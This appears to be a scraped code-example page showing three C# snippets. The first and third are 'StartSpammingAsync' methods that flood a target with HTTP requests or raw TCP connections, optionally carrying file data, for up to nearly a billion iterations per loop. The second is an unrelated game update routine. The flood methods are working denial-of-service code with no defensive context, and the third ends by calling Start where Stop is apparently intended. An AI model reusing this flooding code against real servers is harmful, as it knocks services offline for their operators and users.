Exemplo n.º 1
0
            public async Task StartSpammingAsync()
            {
                await Task.Delay(100);

                LoadingDots loading = new LoadingDots("Spamming");

                loading.Start();

                for (long i = 1; i <= Loops; i++)
                {
                    for (long b = 1; b <= 999999999; b++)
                    {
                        try
                        {
                            WebClient client = new WebClient();
                            client.DownloadStringAsync(new Uri(Url));

                            client.Dispose();
                        }
                        catch
                        {
                            Console.WriteLine("Server down, unable to connect... Try again. Did you add http(s)://?");
                            break;
                        }
                    }
                }

                loading.Stop();
            }
Exemplo n.º 2
0
        public static void Update(GameTime gameTime)
        {
            GameTime = gameTime;

            KeyBoardHandler.Update();
            ControllerHandler.Update();

            BaseConnectScreen.UpdateConnectSet();

            if (!GameInstance.IsActive)
            {
                if (CurrentScreen.CanBePaused)
                {
                    Core.SetScreen(Screen.CreatePauseScreen(CurrentScreen));
                }
            }
            else
            {
                if (KeyBoardHandler.KeyPressed(KeyBindings.Escape) || ControllerHandler.ButtonDown(Buttons.Start))
                {
                    CurrentScreen.EscapePressed();
                }
            }

            CurrentScreen?.Update(gameTime);
            if (CurrentScreen.CanChat)
            {
                if (KeyBoardHandler.KeyPressed(KeyBindings.Chat) || ControllerHandler.ButtonPressed(Buttons.RightShoulder))
                {
                    if (BaseJoinServerScreen.Online || Player.SandBoxMode || GameController.IS_DEBUG_ACTIVE)
                    {
                        SetScreen(Screen.CreateChatScreen((CurrentScreen)));
                    }
                }
            }

            MainGameFunctions.FunctionKeys();
            MusicManager.Update(gameTime);

            GameMessage.Update();
            Controls.MakeMouseVisible();

            MouseHandler.Update();

            LoadingDots.Update();
            ForcedCrash.Update();

            ServersManager.Update();
        }
Exemplo n.º 3
0
            public async Task StartSpammingAsync()
            {
                string text = null;

                byte[] data = null;

                if (FilePath != null)
                {
                    text = File.ReadAllText(FilePath);
                    data = System.Text.Encoding.ASCII.GetBytes(text);
                }

                LoadingDots loading = new LoadingDots("Spamming");

                loading.Start();

                for (long i = 1; i <= Loops; i++)
                {
                    for (long b = 1; b <= 999999999; b++)
                    {
                        try
                        {
                            TcpClient client = new TcpClient();
                            await client.ConnectAsync(IPAddress.Parse(Ip), Port);

                            if (FilePath != null)
                            {
                                NetworkStream stream = client.GetStream();

                                await stream.WriteAsync(data, 0, data.Length);

                                await stream.FlushAsync();
                            }
                        }
                        catch
                        {
                            Console.WriteLine("Server down, unable to connect... Try again");
                            break;
                        }
                    }
                }
                loading.Start();
            }